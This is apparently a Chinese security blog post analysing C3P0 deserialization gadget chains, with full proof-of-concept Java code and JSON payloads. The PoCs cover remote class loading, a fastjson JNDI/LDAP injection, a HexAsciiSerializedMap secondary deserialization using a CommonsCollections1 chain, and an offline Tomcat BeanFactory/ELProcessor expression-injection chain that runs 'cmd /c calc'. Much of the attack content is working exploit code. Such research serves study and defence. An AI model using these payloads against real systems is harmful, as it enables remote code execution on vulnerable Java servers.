前言 C3P0存在原生反序列化三种利用方式、拓展利用点
1.Java 原生态反序列化利用链 - 加载远程类
2.Json 反序列化利用链 - JNDI
3.Json 反序列化利用链 - HEX序列化字节加载器
4.拓展:Java 原生态反序列化利用链 - 不出网利用
环境 maven导入,0.9.5.5为最新版本(2019)
<dependencies> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.5</version> </dependency> </dependencies>
加载远程类 利用点在 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.java 类中的 writeObject 与 readObject
一、先看 **PoolBackedDataSourceBase#writeObject()**,首先有一个 try/catch
尝试去序列化 connectionPoolDataSource
而 connectionPoolDataSource 的类型不是可序列化的
所以进入到catch中,实例化一个 ReferenceIndirector 类型对象,然后调用 indirectForm(),传入的参数为 connectionPoolDataSource
跟进 ReferenceIndirector#indirectForm()
通过 getReference() 赋值给 Reference 类型的变量 ref,然后通过 ReferenceSerialized 类的构造方法 然后赋值给 reference 变量。
只要实现一个类实现了 Referenceable 接口和 ConnectionPoolDataSource 接口,然后重写 getReference() 里去实例化一个 Reference 对象即可满足上面的条件。所以可控 ref 的值
Reference的构造方法:可控 classFactory 和 classFactoryLocation 下面构造payload有用
二、再看 PoolBackedDataSourceBase#readObject() 调用 ReferenceSerialized#getObject()
contextName不可控,跳过if,然后调用了 ReferenceableUtils#referenceToObject() 而且第一个参数我们可控
跟进调用,利用远程类加载器 (URLClassLoader),通过 getter 方法去加载可控类名(fClassName),最后Class.forName()第二个参数为true,即表示初始化类时加载static代码块
poc,远程开一个服务
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class Test { public static void main (String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false ); poc POC = new poc("calc" , "http://127.0.0.1:6666/" ); setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource" ,POC); unserialize(); } public static class poc implements ConnectionPoolDataSource , Referenceable { public String classFactory; public String classFactoryLocation; public poc (String classFactory,String classFactoryLocation) { this .classFactory = classFactory; this .classFactoryLocation = classFactoryLocation; } @Override public Reference getReference () throws NamingException { return new Reference("Y0ng" ,this .classFactory,this .classFactoryLocation); } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } public static void serialize (Object obj) throws Exception { FileOutputStream file = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(file); oos.writeObject(obj); oos.close(); } public static void unserialize () throws Exception { FileInputStream file = new FileInputStream("ser.bin" ); ObjectInputStream ois = new ObjectInputStream(file); Object o = ois.readObject(); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
JNDI 这里以尝试挖掘的思路跟一下,ctrl+shift+F全局搜索一下lookup关键字,C3P0中也就10个结果,以 JndiRefForwardingDataSource
可以看到,都是在 dereference() 被调用,参数 jndiName 通过 getter 方法获取
那么先看一下 setter 方法,JndiRefDataSourceBase#setJndiName() ,这里关于 PropertyChangeEvent监听javabean的变化 设置了jndiName的值
那么再看一下 dereference() ,ALT+F7 查找调用处,inner() 进行调用
发现 inner() 都是通过 setter和getter进行调用
综上,切合 fastjson 利用条件
poc:起一个marshalsec的 ldap
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc"} 或 {"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}
另外,发现 C3P0PooledDataSource 也存在相同的利用点,但是 rebind()方法中parse一直出错
HEX序列化字节加载器 更多的是利用 fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor 来打二次反序列化
在 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString() 中设置 userOverridesAsString 的值后,当调用set方法 setUpPropertyListeners 时就能触发,而这个监听器正好在设置完userOverridesAsString就会调用
**WrapperConnectionPoolDataSource#setUpPropertyListeners()**,中调用了 parseUserOverridesAsString
parseUserOverridesAsString,截取字符串,HASM_HEADER 为定值 HexAsciiSerializedMap ,所以构造的payload需要符合这样形式
"HexAsciiSerializedMap:"+HexString+":"
然后将hex转为byte调用 SerializableUtils#fromByteArray()
然后就是调用原生反序列化,搭配其他的Gadget,比如CC、CB,在框架中还能注入内存马
poc,以CC1为例
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
import com.alibaba.fastjson.JSON;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value" , "bbb" ); Map<Object, Object> transformMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = c.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true ); Object o = cons.newInstance(Retention.class, transformMap); serialize(o); byte [] bytes = Files.readAllBytes(Paths.get("ser.bin" )); String hex = bytesToHexString(bytes,bytes.length); String poc = "{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:" +hex+";\"}}" ; JSON.parseObject(poc); } public static void serialize (Object obj) throws Exception { FileOutputStream file = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(file); oos.writeObject(obj); oos.close(); } public static void unserialize () throws Exception { FileInputStream file = new FileInputStream("ser.bin" ); ObjectInputStream ois = new ObjectInputStream(file); Object o = ois.readObject(); } public static String bytesToHexString (byte [] bArray, int length) { StringBuffer sb = new StringBuffer(length); for (int i = 0 ; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2 ) { sb.append(0 ); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
不出网利用 环境:反序列化点
先回顾一下 getObject()中,其实如果通过这三种方法去修改contextName的值,就可以直接 JNDI 的利用,在一道CTF题目中,有提到这点实现 ljctr wp ,但是比较麻烦,所以略过。
修改C3P0源代码 比较简单
通过agent技术去修改源代码
像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以)
跟到 referenceToObject() 中,加载远程类是通过getFactoryClassLocation获取到URLClassloader,通过Class.forName进行远程触发,如果获取为null,就会获取当前线程的ClassLoader,然后实例化一个对象,最后在return的时候调用这个对象的 getObjectInstance()**,在高版本JDK中的一种绕过方法, 利用Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入**
org.apache.naming.factory.BeanFactory在getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。 而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的
poc
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;import javax.naming.*;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import java.io.*;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class Test { public static void main (String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false ); poc POC = new poc("org.apache.naming.factory.BeanFactory" , null ); setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource" ,POC); serialize(poolBackedDataSourceBase); unserialize(); } public static class poc implements ConnectionPoolDataSource , Referenceable { public String classFactory; public String classFactoryLocation; public poc (String classFactory,String classFactoryLocation) { this .classFactory = classFactory; this .classFactoryLocation = classFactoryLocation; } @Override public Reference getReference () throws NamingException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr("forceString" , "x=eval" )); String cmd = "calc" ; ref.add(new StringRefAddr("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','" + cmd +"']).start()\")" )); return ref; } @Override public PooledConnection getPooledConnection () throws SQLException { return null ; } @Override public PooledConnection getPooledConnection (String user, String password) throws SQLException { return null ; } @Override public PrintWriter getLogWriter () throws SQLException { return null ; } @Override public void setLogWriter (PrintWriter out) throws SQLException { } @Override public void setLoginTimeout (int seconds) throws SQLException { } @Override public int getLoginTimeout () throws SQLException { return 0 ; } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return null ; } } public static void serialize (Object obj) throws Exception { FileOutputStream file = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(file); oos.writeObject(obj); oos.close(); } public static void unserialize () throws Exception { FileInputStream file = new FileInputStream("ser.bin" ); ObjectInputStream ois = new ObjectInputStream(file); Object o = ois.readObject(); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
参考 Java安全之C3P0利用与分析-Zh1z3ven
C3P0反序列化链学习
JAVA反序列化之C3P0不出网利用 | 雨了个雨’s blog